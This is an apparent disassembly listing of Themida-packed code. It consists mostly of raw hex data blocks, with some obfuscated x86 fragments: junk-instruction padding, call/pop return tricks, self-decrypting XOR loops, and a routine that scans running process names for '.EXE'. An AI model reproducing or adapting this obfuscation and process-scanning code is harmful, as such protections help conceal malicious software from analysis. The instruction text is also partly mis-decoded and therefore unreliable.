		dd 351AB993h, 79755E9Fh, 0E40925Fh, 0D977656Fh,	0FE4CE0C2h
		dd 0B4A62E6Fh, 500F2B21h, 0C7BDA3F6h, 0BEE4C16Bh, 81DBE56Fh
		dd 41DE9947h, 4641A6h, 0C2150000h, 0B8004EE0h, 620647Ch
		dd 1670E5C2h, 0DF109DB5h, 62936BEh, 0EB621D21h,	0F6D8A106h
		dd 0A0DFE963h, 109E7126h, 0C294AEEFh, 70E5C268h, 109DB516h
		dd 2436BEDFh, 7DA2BC92h, 43C4E3h, 0C3E70000h, 4C16DE76h
		dd 0E8C7BDA3h, 51E072C2h, 0C22EA830h, 9DB53793h, 0FE477010h
		dd 7FDB0A58h, 48109E2Dh, 3E05DEC5h, 190F7C1h, 0DDDC225h
		dd 0C1C1F316h, 9DBA9721h, 192824B5h, 0BD66F0F8h, 7D45E16Dh
		dd 0B4C4E3h, 0A36A0000h, 0C8EAC9BFh, 584D573h, 0FB6F9EBBh
		dd 0B4109DB4h, 5C33B08Bh, 0B0D1CB01h, 7A0C9DA1h, 60A4B678h
		dd 0BF1F7EB6h, 0E06CBD21h, 0A3F65046h, 0C16BC7BDh, 0DE994767h
		dd 4C41A641h, 15000000h, 0AF04BDA3h, 9683C899h,	449072F9h
		dd 3D8F3352h, 0C2D26C0Dh, 1F6EBDE5h, 19A3C292h,	9DB570EAh
		dd 7AD43910h, 6DBD68C2h, 0AE39621Bh, 0D4B51019h, 0C4E37D7Ah
		dd 3Eh,	3995C8E7h, 2109DB5h, 55B12483h,	1E109DB5h, 0A36BF5FFh
		dd 0C26BC7BDh, 9DB53793h, 18B72610h, 0B54CC637h, 2F80109Dh
		dd 62F11021h, 0C23F9923h, 330250E0h, 6DCD0AD2h,	45E16DBDh
		dd 6CBDE37Dh, 2D0BDF1Ah, 59385AAAh, 0D771C608h,	0CC80D1F7h
		dd 26900C7Dh, 9CD6109Eh, 6AE2731Fh, 79D3664Ch, 0B44DE2E8h
		dd 0B001B14Ah, 0CA1B3F9Ch, 273591C4h, 9FFE109Eh, 0A62E6FFEh
		dd 157178B8h, 21B199B6h, 0F3FD1C2Dh, 8F143994h,	24830216h
		dd 18A0AAFEh, 11DA38C9h, 0D5310A8Bh, 0B7783864h, 28E05AACh
		dd 76000000h, 0C3E06CBDh, 0F3FD4DDFh, 0B4890574h, 0EECB109Dh
		dd 0B5429CD1h, 0C40B109Dh, 39C4224Ch, 0F0F8999Eh, 0DC6D2596h
		dd 0BDF85270h, 7251E06Ch, 0F389FD50h, 14DC117Bh, 85C293F2h
		dd 9E00F650h, 3F5EBF10h, 266089B5h, 25765489h, 0C6471686h
		dd 3B97C6E9h, 40A8593h,	52E36DBEh, 4C8A5233h, 54F4476Bh
		dd 3C8405h, 193E9DE9h, 0A422C9E2h, 0C19E2676h, 763BD14Ch
		dd 0E4250A10h, 55B12484h, 1E047241h, 5DBD8FFh, 3E0E9F03h
		dd 9B0E39B6h, 1D4271ACh, 932F3398h, 51BE8DE9h, 72D02130h
		dd 0C9047283h, 3715A88Ah, 0B3DDE726h, 2426F616h, 2D8E5095h
		dd 0B4000000h, 0EAC9BFA3h, 9DB52F7Bh, 16B5D810h, 0A4E4A034h
		dd 47845C9Ah, 3C0D3D8Fh, 0FDDDBCDDh, 2FE2h, 0ABDAFD00h
		dd 109E7E2Fh, 914B95F8h, 0EAC9BFA3h, 9DB52B7Bh,	1AB9DC10h
		dd 9AABA938h, 3E64717Bh, 0F9359AEAh, 7C855AE3h,	4D9CBE1Dh
		dd 419FBD07h, 250E0C2h,	80F5D233h, 109DB506h, 5B864ECFh
		dd 15Eh, 53FD4E74h, 9F398302h, 0E6C5BBA3h, 0FCDB71C4h
		dd 9DB50D89h, 2DB7D610h, 0BDF650B3h, 0C146E06Ch, 0DE994767h
		dd 5541A641h, 15000000h, 69C5BBA3h, 93C2E5C2h, 109DB537h
		dd 0E372DA6Bh, 687095A2h, 9DB4BD19h, 46418610h,	8520D6E7h
		dd 0C1EC05AAh, 0BD041D24h, 68C282DCh, 83DF6BBDh, 1670E5C2h
		dd 4F109DB5h, 9DB4C41Eh, 3B088D10h, 0B584C417h,	69AB3554h
		dd 27C4B7h, 0C3E70000h,	450FD971h, 69C5BBA3h, 14FE0C2h
		dd 0CA07D130h, 9DB53F9Bh, 93AF2E10h, 6BBD68C2h,	607D83DFh
		dd 5963E57Ah, 0E06CBDFFh, 0A3F65046h, 7E1401BDh, 0CD9B0D04h
		dd 99F85CE9h, 0BEE4C1BDh, 7ED8E06Ah, 41DE9947h,	5D41A6h
		dd 0C2150000h, 6EFF4DE0h, 0E071D76Ch, 0BCF8C0A1h, 0C246E0A4h
		dd 9DB53793h, 9F477010h, 0CC156151h, 2362FFC9h,	0BAE5C207h
		dd 903266E6h, 12428FA5h, 0C2EF6973h, 6FFE4CE0h,	22B4A62Eh
		dd 0B4A3FF6Eh, 89D7109Dh, 5E557AC9h, 37FFB6AFh,	6FCBAACBh
		dd 32C4E37Dh, 0E7000000h, 8DDC74C3h, 0A31AC40Ch, 0C26BC7BDh
		dd 4C54BAE5h, 0D0D8FAC0h, 2D1D7908h, 8D0C109Eh,	4EE0C2B1h
		dd 0BC9BB800h, 38094396h, 0BD450FD9h, 7D45E16Dh, 0DE6ABDE3h
		dd 0B49FFE8Fh, 0BBD5109Dh, 93F943Eh, 6ABD0FA9h,	8AD901DEh
		dd 6B6FFEC6h, 19E170D8h, 0D3681AAFh, 4F785575h,	0AA2961D7h
		dd 59A830AAh, 109E6538h, 7ADC9DB7h, 7D84A341h, 57FFFFFEh
		dd 30B1170h, 6D770957h,	0B51270F3h, 101109Dh, 42109DB4h
		dd 0D0DA485Dh, 16DEE2E8h, 9DA31877h, 0DB6D5510h, 0A826656Fh
		dd 97109DA2h, 109DA337h, 9DA2A826h, 48BEE9D0h, 3B16BC42h
		dd 0A9C0FCC4h, 0E786C81Ah, 0AE1695C8h, 0E2235687h, 450DDC5h
		dd 5D0CD435h, 5F7C0A5Fh, 78214B2Eh, 0ACA1E450h,	0B9F8D999h
		dd 38DAF7B6h, 0E2000003h, 7EA40254h, 9E84222Ch,	4062400Ah
		dd 5F4161EFh, 0F12482D2h, 0D480CD3Eh, 0CE84D4F6h, 0D375CAF0h
		dd 0D07CCDF3h, 77E6E9F2h, 16B62A1Bh, 0C291ADE4h, 3793C2E5h
		dd 109DB5h, 0B572EC9Dh,	0DA3B109Dh, 0DF6DC012h,	4F37328Eh
		dd 0DA19FD70h, 93F21685h, 4742C033h, 7D640A85h,	0A28DAA09h
		dd 7E5D48BFh
		dd 5844C7Dh, 106D7CADh,	0EAD0EF2Eh, 0FC8A2F57h,	0BE3CF7Eh
		dd 10624D6Ah, 0AD100CEBh, 8FBC47F8h, 0ED20E528h, 0EFD8F5E3h
		dd 0F6E66532h, 0F6D8E076h, 0E8CAE963h, 2A6BFA58h, 5CB243A2h
		dd 6E046D1Bh, 93B41373h, 6D1AE862h, 646CB104h, 3F0C0677h
		dd 5D450A55h, 3690C5CFh, 0FFFE54ADh, 716EFF9Eh,	54ACA2FCh
		dd 4B2A6BFEh, 2A1E481h,	0AFBE8C20h, 5179666Eh, 183C8900h
		dd 9A9C849h, 80DA0B2Ch,	49FE54ADh, 87DAFCC4h, 313874C5h
		dd 0CE517655h, 43E93E9Eh, 8FFEDBE5h, 43C768Fh, 0F658EAD0h
		dd 4D1C81EEh, 9FCEFAEFh, 0F83BE543h, 0CBE8890Ch, 240A689Ah
		dd 1FBCE1FEh, 5A2AA3Bh,	7857B322h, 0FD20F223h, 0FDC78BD9h
		dd 0E468F9DFh, 71A62455h, 0C3E7F223h, 73EF1E74h, 3CF2235Eh
		dd 68A9B8D9h, 0B60D5460h, 0FD1C2D27h, 0CCCE3F9Ch, 0A5F80B83h
		dd 8ED3D160h, 9BAAA635h, 1B2A2AB7h, 0DDFA9BFAh,	0C987D8FAh
		dd 0F55180FFh, 382F1FBh, 7CB3454Eh, 0C29F4E5Bh,	1BFh, 67470F5Bh
		dd 7D5DF141h, 6141095Bh, 4260F03Fh, 2383D160h, 7FCE3FF0h
		dd 85D3F5D5h, 78CBEDCDh, 7DD0F2D0h, 0FDE2EFCFh,	0B62B0E88h
		dd 0A0C2D716h, 0EBC8BEA3h, 85DA987Ah, 1D2C7116h, 21F7193Eh
		dd 0FC74DE15h, 0E5A1C8F4h, 8F3E97C6h, 4B6F1076h, 820352FAh
		dd 0F568AD3Ah, 79F758A4h, 5C3712D9h, 0BE000001h, 0E2C8E670h
		dd 0FAE0FE50h, 0E4C6E466h, 0FBDDFD53h, 0D5C8E66Eh, 0B0A4315Ah
		dd 0B2A03012h, 0AF992E14h, 0B498290Fh, 0D3024D16h, 16B62C77h
		dd 0A375E940h, 99B505BEh, 66F7DBF8h, 0AE3657E6h, 3CB18EB1h
		dd 109DB4E2h, 23626AABh, 1685D927h, 2C0EADF0h, 0BC2BB59Bh
		dd 0A505479Ah, 2E859F88h, 3607499Ah, 6213F0D7h,	7ECF01CBh
		dd 28417FCEh, 0EFF16DA0h, 5BBA0A84h, 869E977h, 143487ABh
		dd 7BD70645h, 440A84F0h, 3B18A0C1h, 6D1574CAh, 7ECDF510h
		dd 0BF8EBE0Fh, 0EF2E3F5Eh, 2B0F308Eh, 65A4B59Dh, 65E9795Bh
		dd 0EE426845h, 0EE42945Ch, 7E617E5Ch, 6C82930Fh, 0AF395C04h
		dd 64420E9Dh, 7FCF5F43h, 0BBD66375h, 0F0112028h, 0E0153291h
		dd 46C8366h, 0F8E6EE2Fh, 4FCFF8D7h, 28E9C134h, 0AD32ACDDh
		dd 9AFB046Ch, 0A3B10052h, 0AD002203h, 0B503559Fh, 0C81B3D9Dh
		dd 61A6CBDh, 0EE9312D3h, 86075637h, 50E1C7E7h, 6CFCDEFCh
		dd 4EE1C9E6h, 0A22A6BFAh, 41B493B4h, 46C12C5h, 57FD4C8Eh
		dd 5792AE36h, 90AF902Fh, 6C13015Dh, 674BCA04h, 13727ADAh
		dd 0A5437DBh, 2628395Ch, 351AB993h, 0BBD9E743h,	2EBB1F09h
		dd 0EEF61726h, 0DD1F0h,	7B6D0000h, 920C815Eh, 5B109DB4h
		dd 0BD28B23Ah, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h
		dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh,	2215242Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		push	1A5Ah
		mov	[esp], ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	ebx
		mov	ebx, 6186DB0h
		mov	eax, ebx
		pop	ebx
		mov	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		mov	ebx, 8
		add	ebx, edx
		mov	[ebx], ebp
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 0A4h, 3Bh, 51h
; ---------------------------------------------------------------------------
		mov	ds:0EC1D594Bh, al
		mov	edx, 0EE40E43Eh
		mov	dh, 0B8h
		cmp	byte ptr [eax+18h], 6
		add	eax, ebp
		mov	eax, ebx
		lea	ecx, [ebp+61879D0h]
		push	0
		push	eax
		call	sub_5D3BF5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3BF5	proc near		; CODE XREF: Themida_:005D3BEDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5D3BF5	endp

; ---------------------------------------------------------------------------
		ror	byte ptr [ecx+edx*2+571B589h], cl
		adc	eax, [esi]
		pop	eax
		mov	[ebp+61320A1h],	edi
		mov	[ebp+6131BBDh],	ecx
		mov	esi, 34027CCFh
		mov	dword ptr [ebp+61318DDh], 5DF4h
		or	esi, [ebp+61331B1h]
		and	eax, 580D9816h
		mov	dword ptr [ebp+6133055h], 0
		mov	dx, 0AC36h
		push	dword ptr [ebp+6131A95h]
		push	0
		push	eax
		call	sub_5D3C55
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3C55	proc near		; CODE XREF: Themida_:005D3C4Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5D3C55	endp

; ---------------------------------------------------------------------------
		db 83h,	9Dh, 0AFh
		dd 15810F64h, 0E9000000h, 10h, 4711A1h,	1319C043h, 41E8D414h
		dd 9565247Bh, 1D8995FFh, 0B70F0613h, 71B58BF8h,	6A061322h
		dd 0A995FF00h, 8B06130Dh, 0FE49EBC0h, 0C7707840h, 0C680FB67h
		dd 0E4009226h, 6B0A9712h, 8FE45B7Dh, 0EBC6CF1h,	858DA7E1h
		dd 57BC6330h, 4003671Fh, 91D65B17h, 213C4ED8h, 24D7A52h
		dd 0B816666Dh, 50D833D1h, 5FFE31EBh, 1F2BB3BCh,	0C48786EBh
		dd 0CD53D9F7h, 7AD08D8Dh, 0BF0F0618h, 0BD8D89FBh, 8B06131Bh
		dd 130B759Dh, 0DD85C706h, 7C061318h, 6A00006Ah,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 7298C355h, 9D892EDEh, 6133531h, 0C1F4BE66h, 305585C7h
		dd 613h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 1B0424h, 53430000h, 38574FC3h, 3B5112A6h, 9B5FF0Ch
		dd 53061323h, 68D0Fh, 0DE810000h, 45DC8F83h, 8995FF58h
		dd 6A06131Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 6A52C350h, 0A995FF00h,	8B06130Dh
		dd 0C53FEBC0h, 918EAE41h, 0AA145920h, 4A90990Dh, 2EC8A736h
		dd 463F1C20h, 81324A44h, 482D9F06h, 88EF62E5h, 4703BC4Fh
		dd 0B77EB792h, 0C01BF07Ah, 0F0268481h, 0B00DCB17h, 7A9A75ADh
		dd 51B940C5h, 3CE90310h, 1, 4Eh	dup(0)
		dd 83000000h, 13212DBDh, 840F0106h, 4FDh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 0A1C35242h, 1D52426Bh
		dd 0BC7C4D7h, 0AE9A7h, 0BA840000h, 0E3296BE6h, 60F61735h
		dd 78C0FF8h, 0F000000h,	18Ch, 85C6F500h, 61311E1h, 8E943h
		dd 6090000h, 0ABD3957h,	4E8A519h, 0F5000000h, 0FECA5D0h
		dd 886h, 2830F00h, 60000000h, 8F0F5061h, 14h, 0FE9h, 14E7700h
		dd 0F745EDF8h, 2994AC70h, 5BED1E46h, 424448Bh, 0FE25B960h
		dd 8B613BFFh, 11E900h, 296C0000h, 6487E6AEh, 0C927A49h
		dd 0CECC0538h, 89F2183Fh, 0F042444h, 0C81h, 7E900h, 0E4F90000h
		dd 0E735845h, 890F588Eh, 1, 0B5FFF8F5h,	6131EE9h, 11E9h
		dd 5B361600h, 0AF2057A7h, 0A938F041h, 3298DD53h, 8DF51EB7h
		dd 167C3385h, 1830F06h,	0F5000000h, 0E960D0FFh,	6, 0AF216343h
		dd 8B66CE38h, 858961DAh, 6131CD1h, 0B800Fh, 6E90000h, 0BC000000h
		dd 0C71121EDh, 0E185C64Eh, 50061311h, 188B0Fh, 0E9600000h
		dd 11h,	0C194E482h, 4E216038h, 83A18D8Bh, 0DF4D30Bh, 4F6861B3h
		dd 0E9804D9Ch, 6, 6B45F06h, 34813914h, 0E0311924h, 0AE928h
		dd 982C0000h, 0BDACE78Bh, 0E46FE55Fh, 1EE9B5FFh, 850F0613h
		dd 1, 858DF8F8h, 6167C33h, 1F96B960h, 0E9616B77h, 14h
		dd 1E96B6AAh, 0F6C6507Dh, 29887941h, 1741ECB2h,	79849222h
		dd 0B160D0FFh, 89F86104h, 131D2585h, 0BF0F6006h, 0DF8166F2h
		dd 68612118h, 0D6B5DC42h, 13E9h, 0A1459F00h, 4647A7CBh
		dd 801D651Ch, 0C55A1688h, 688E87E0h, 6D243481h,	60263A74h
		dd 0EE8h, 357C3100h, 799C010Ah,	0C0999D9Dh, 0B3F7161Fh
		dd 10E95FD7h, 0E4000000h, 46A905AFh, 0FDABA39Eh, 0AF332E2Dh
		dd 613B745Ah, 1EE9B5FFh, 66600613h, 9F9FD081h, 61CA8B66h
		dd 7C33858Dh, 0E8600616h, 0Bh, 0A2CE597Ah, 1535A932h, 0F8BDFADDh
		dd 9E959h, 46E50000h, 3FBFADC2h, 619C66C3h, 7E9D0FFh, 9A000000h
		dd 271CA8B1h, 8589ED11h, 6132365h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 3FC35646h, 0FCF30017h, 0E185C6FCh
		dd 50061311h, 0BE860h, 6E6E0000h, 676FBE06h, 582490D3h
		dd 1998B838h, 8A583678h, 0E8F961F5h, 4,	979CDC56h, 14860Fh
		dd 0FE90000h, 0FE000000h, 443D2D32h, 8C4AE6BBh,	227D9062h
		dd 0E9500630h, 9, 60F13B84h, 63CAF960h,	24448B1Eh, 60525004h
		dd 880F6160h, 0
		dd 60310F61h, 310F5250h, 0B966585Ah, 5A61F6FDh,	0E9008B58h
		dd 14h,	0B0AC8C1Ch, 0E01C5352h,	1B24A1B4h, 466BBC4h, 21109FD3h
		dd 4244489h, 7E860h, 26620000h,	0A9302B36h, 57605A9Bh
		dd 58616158h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	54C35343h, 0D47DBAC5h, 600F5E53h, 0A828BB66h, 0A27B58B8h
		dd 0E9606131h, 14h, 0AB889B72h,	0E44C6DE0h, 4B0B7BAEh
		dd 0CC039320h, 609ADBECh, 6DB5FF61h, 0F5061311h, 3AAD858Dh
		dd 0FFF80613h, 8E9D0h, 9D780000h, 0CC71D186h, 89FC9C1Ah
		dd 1305D585h, 10E906h, 0F3870000h, 0C54E937Dh, 4D4C64DCh
		dd 8B586D34h, 5EE9D627h, 0E9000001h, 6,	9D2AADCFh, 50FCEB30h
		dd 0EB8A5360h, 0BE95Ah,	1E1A0000h, 41EF1119h
		db 30h,	6Fh
; ---------------------------------------------------------------------------


loc_5D42EA:				; CODE XREF: Themida_:loc_5D42EAj
					; DATA XREF: Themida_:005A4FA1o
		jns	short loc_5D42EA
		xlat
		popa
		mov	[esp], ebp
		jnb	loc_5D42F8
		cmc


loc_5D42F8:				; CODE XREF: Themida_:005D42F1j
		mov	ebp, esp
		ja	loc_5D431E
		jl	loc_5D431E
		jmp	loc_5D431E
; ---------------------------------------------------------------------------
		db 21h
		dd 420FF65Ch, 81624F0Eh, 68F62FD6h, 2FC8FEB0h
		db 68h,	3
; ---------------------------------------------------------------------------


loc_5D431E:				; CODE XREF: Themida_:005D42FAj
					; Themida_:005D4300j ...
		add	esp, 0FFFFFFFCh
		cld
		pusha
		jmp	loc_5D4332
; ---------------------------------------------------------------------------
		dd 0E5C691BCh, 0C13481D0h
		db 58h,	6Fh
; ---------------------------------------------------------------------------


loc_5D4332:				; CODE XREF: Themida_:005D4323j
		call	$+5
		pop	edx
		sub	edx, 618806Dh
		mov	dword ptr [ebp-4], 0
		cmp	dword ptr [edx+613212Dh], 1
		jz	loc_5D43EA
		push	edx
		push	0
		push	0Fh
		call	dword ptr [edx+6131CD1h]
		pop	edx
		mov	[edx+6187B19h],	eax
		lea	ebx, [edx+6187B1Dh]
		push	edx
		mov	dword ptr [ebx], 128h
		push	ebx
		push	eax
		call	dword ptr [edx+6131D25h]
		pop	edx


loc_5D437A:				; CODE XREF: Themida_:005D43A4j
					; Themida_:005D43D8j
		push	edx
		lea	ebx, [edx+6187B1Dh]
		push	ebx
		push	dword ptr [edx+6187B19h]
		call	dword ptr [edx+61305D5h]
		pop	edx
		or	eax, eax
		jz	short loc_5D43E3
		lea	ebx, [edx+6187B1Dh]
		lea	edi, [ebx+24h]
		xor	ecx, ecx


loc_5D439E:				; CODE XREF: Themida_:005D43AEj
		cmp	ecx, 104h
		jz	short loc_5D437A
		inc	ecx
		cmp	dword ptr [ecx+edi], 4558452Eh
		jnz	short loc_5D439E
		lea	esi, [ecx+edi]
		sub	esi, [ebp+0Ch]
		lea	edi, [edx+6133275h]
		mov	ecx, [ebp+0Ch]
		rep movsb
		xor	al, al
		stosb
		push	edx
		push	dword ptr [ebp+8]
		lea	eax, [edx+6133275h]
		push	eax
		call	dword ptr [edx+6132365h]
		pop	edx
		or	eax, eax
		jnz	short loc_5D437A
		mov	dword ptr [ebp-4], 1
		jmp	short loc_5D43EA
; ---------------------------------------------------------------------------


loc_5D43E3:				; CODE XREF: Themida_:005D4391j
		mov	dword ptr [ebp-4], 0


loc_5D43EA:				; CODE XREF: Themida_:005D434Cj
					; Themida_:005D43E1j
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5D43FD
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D43FD	proc near		; CODE XREF: Themida_:005D43F5p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5D43FD	endp

; ---------------------------------------------------------------------------
		pop	ecx
		jp	loc_5D4415
		clc


loc_5D4415:				; CODE XREF: Themida_:005D440Ej
		jmp	loc_5D4429
; ---------------------------------------------------------------------------
		dw 509Dh
		dd 8DE23AA6h, 49403592h, 0E745DDEEh
		db 36h
; ---------------------------------------------------------------------------


loc_5D4429:				; CODE XREF: Themida_:loc_5D4415j
		mov	edx, edx
		call	sub_5D4436
		cmp	byte ptr [ebx+edx*4], 7Fh
		insb
		push	edx

; =============== S U B	R O U T	I N E =======================================



sub_5D4436	proc near		; CODE XREF: Themida_:005D442Bp
		pop	eax
		cmc
		add	eax, 60F4h
		mov	esi, ecx
		xor	ecx, ecx


loc_5D4442:				; CODE XREF: sub_5D4477+4Ej
		push	dword ptr [ecx+eax]
		movsx	edi, cx
		pop	edx
		mov	esi, edi
		add	edx, 15CD268Bh
		ja	loc_5D4458
		clc


loc_5D4458:				; CODE XREF: sub_5D4436+1Bj
		xor	edx, 0A96718Bh
		call	sub_5D4477
		push	ss
		mov	bh, 22h
		repne inc dword	ptr [edx]
		aaa
		and	ebx, edi
		mov	ah, [esi]
		scasb
		movsd
		pusha
		xchg	eax, esp
		mov	ebp, 0C401A237h
sub_5D4436	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D4477	proc near		; CODE XREF: sub_5D4436+28p
		pop	edi
		add	edx, 0B487288h
		mov	edi, ebx
		push	edx
		pusha
		mov	dx, 6185h
		mov	si, dx
		popa
		pop	dword ptr [eax+ecx]
		push	ebx
		jmp	loc_5D44A6
; ---------------------------------------------------------------------------
		db 0E7h
		dd 7A322D39h, 71B1352Dh
; ---------------------------------------------------------------------------
		lodsb
		daa


loc_5D449E:				; CODE XREF: sub_5D4477:loc_5D449Ej
		loope	loc_5D449E
; ---------------------------------------------------------------------------
		dd 9256EB8Fh
		db 50h,	65h
; ---------------------------------------------------------------------------


loc_5D44A6:				; CODE XREF: sub_5D4477+17j
		pop	ebx
		sub	ecx, 1
		add	si, 3C3Eh
		dec	ecx
		dec	ecx
		dec	ecx
		jmp	loc_5D44BF
; ---------------------------------------------------------------------------
		db 24h
; ---------------------------------------------------------------------------
		sbb	eax, 0DCCB2C9h
		sbb	ecx, [edi]


loc_5D44BF:				; CODE XREF: sub_5D4477+3Bj
		cmp	ecx, 0FFFF9FA4h
		jnz	loc_5D4442
		cld
		call	near ptr loc_5D44DF+2
		daa
		push	esi
		mov	dh, 0AAh
		mov	dword ptr [ecx-46A5ADBFh], 0AD5B68Bh


loc_5D44DF:				; CODE XREF: sub_5D4477+55p
		mov	eax, ds:5ECE8BA2h
sub_5D4477	endp ; sp-analysis failed

		jz	loc_5D44EC
		mov	dh, bh


loc_5D44EC:				; CODE XREF: Themida_:005D44E4j
		add	esi, 5F07h
		stc
		mov	eax, 0
		jge	loc_5D4510
		jmp	loc_5D4510
; ---------------------------------------------------------------------------
		db 34h
		dd 8A0AD42Eh, 4E432BFh,	73091629h
; ---------------------------------------------------------------------------


loc_5D4510:				; CODE XREF: Themida_:005D44F8j
					; Themida_:005D44FEj ...
		mov	edi, [esi+eax]
		push	esi
		jnp	loc_5D4520
		jl	$+6


loc_5D4520:				; CODE XREF: Themida_:005D4514j
		pop	ebx
		sub	edi, 22875D24h
		mov	dx, di
		add	edi, 46922D08h
		push	edi
		pusha
		jmp	loc_5D454A
; ---------------------------------------------------------------------------
		db 0E2h
		dd 0EC583849h, 3295A127h, 9082A072h, 0B1B8765Dh
		db 7Eh,	9
; ---------------------------------------------------------------------------


loc_5D454A:				; CODE XREF: Themida_:005D4532j
		pusha
		popa
		popa
		pop	edx
		xor	edi, 30700A5Bh
		push	edi
		mov	ebx, 73BE5B15h
		pop	dword ptr [esi+eax]
		mov	dx, 9A1Ch
		mov	cx, 3B22h
		sub	eax, 3
		push	esi
		clc
		pop	ebx
		dec	eax
		cmp	eax, 0FFFFA1B4h
		jnz	loc_5D4510
		call	near ptr loc_5D458C+1
		sub	eax, [edi]
		and	eax, 953A8B8Dh
		std
		out	0FEh, eax
		xor	eax, 39CF2DC4h


loc_5D458C:				; CODE XREF: Themida_:005D4578p
		test	[esi+13CC5A62h], esi
		sbb	byte ptr ds:29A4BF66h, 0B8h
		arpl	si, sp
		lock and [ecx-0Eh], esi
		add	al, 42h
		xor	eax, 70F8788Eh
		pop	edi
; ---------------------------------------------------------------------------
		db 0FEh
		dd 831C85D7h, 31628570h, 0D3F2F1F0h, 1FF605E0h,	2662884Ah
		dd 3E5E33F7h, 315F6FF7h, 615F5F39h, 315F3674h, 0F207154Eh
		dd 151BBC7Fh, 151BB497h, 315F21CDh, 0F20F75E4h,	3294DC2Ah
		dd 31353539h, 315CDDCDh, 687F354Eh, 7DD66CE4h, 75DE31B7h
		dd 314231EDh, 601E35E4h, 799D36B1h, 0FA54CE69h,	0B09693EDh
		dd 0C4482AA4h, 0E0E83A44h, 315ABD9Ch, 7DE035C9h, 0B27106BAh
		dd 224D90CFh, 0B550353Fh, 315F3584h, 3220DCBBh,	3CB63527h
		dd 9C5F3593h, 0EB88B644h, 5D7CB29Fh, 1A1AFC04h,	0B3B9B0B4h
		dd 0B1A33384h, 84CFFE8Fh, 0BE506521h, 315F3598h, 315F3320h
		dd 9F539DE4h, 0A167B101h, 0D9083553h, 315F359Fh, 6E9C6A6Eh
		dd 357B49AEh, 357B7112h, 315F35D3h, 4C9C62A3h, 6DE0213Eh
		dd 0BB50070Dh, 315F3596h, 315BB141h, 8F393527h,	0B4D2CEB1h
		dd 3747B701h, 0ADE08CB5h, 0A1056EFEh, 10DB3A69h, 615F359Ch
		dd 3E3E551Ch, 314BDC16h, 0B1E23593h, 34469FA1h,	5F4EA377h
		dd 0DC9F6235h, 0EF2DAD24h, 6905EBB2h, 645F5FDEh, 315F36CFh
		dd 0F2021593h, 1533BC94h, 151BB4E0h, 315F2076h,	0F20A7039h
		dd 8B39F6C3h, 570D247Bh, 0A57EEBA6h, 74CACACCh,	575926E9h
		dd 0BA23705Dh, 625F5FB2h, 315F36D1h, 0F204159Ch, 1503BC15h
		dd 151BB423h, 315F2E97h, 0F20C76C9h, 65468E19h,	3FBC993Fh
		dd 85A9B45Fh, 14E2B670h, 31592658h, 8CDC3C52h, 374C1912h
		dd 614641C9h, 899FBEB7h, 315F3108h, 3C22B0B0h, 0ACD2338Fh
		dd 374A9C33h, 6904E6D8h, 1DDE8810h, 455F33DAh, 890C65F3h
		dd 315F3108h, 3C22B0B0h, 0ACD2338Fh, 374A9322h,	6904E6D8h
		dd 959DB4F5h, 32D53ABAh, 3E5F35E4h, 0DBDEC2CDh,	72D19446h
		dd 14088AFAh, 0D7EAF5C5h, 0B38FA8AAh, 8650338Bh, 0BFDAB803h
		dd 3E592D8Fh, 315F31FBh, 31E55339h, 0D88FCA6Ch,	315F3549h
		dd 2809A512h, 3A8116CAh, 0B8DB3A09h, 575F35E4h,	2A7BD2F3h
		dd 7ED2A8B4h, 3135338Fh, 315CDD18h, 6F7F3527h, 45D66B50h
		dd 75DE31EDh, 314231C0h, 67193572h, 0FA87B1FAh,	0F8869810h
		dd 3ECF0AD8h, 315F38ACh, 3157DC93h, 6D3935C9h, 694D02C9h
		dd 32E71E14h, 5B5F3539h, 32B7659Ch, 115F354Eh, 0B807F67Fh
		dd 0B05B11D7h, 255B118Dh, 715F35E4h, 0CEBBF622h, 665F5FDAh
		dd 315F3674h, 0F200154Eh, 1523BC78h, 151BB497h,	315F2ECDh
		dd 0F20872E4h, 0DF8892A9h, 9A92575Ah, 0B387A811h, 0C7DF3356h
		dd 0BFDAB813h, 57592DF8h, 0FF72F248h, 21B6E51Bh, 0D95F3572h
		dd 60257BD7h, 34F9B0CFh, 0E7362924h, 3AD721A0h,	1EDB3A53h
		dd 0B15F35C9h, 0ACD27B25h, 374C7AFFh, 0C3D45359h, 315CBD93h
		dd 8650354Eh, 30E754E4h, 0D85F3593h, 315F35C3h,	7605FD47h
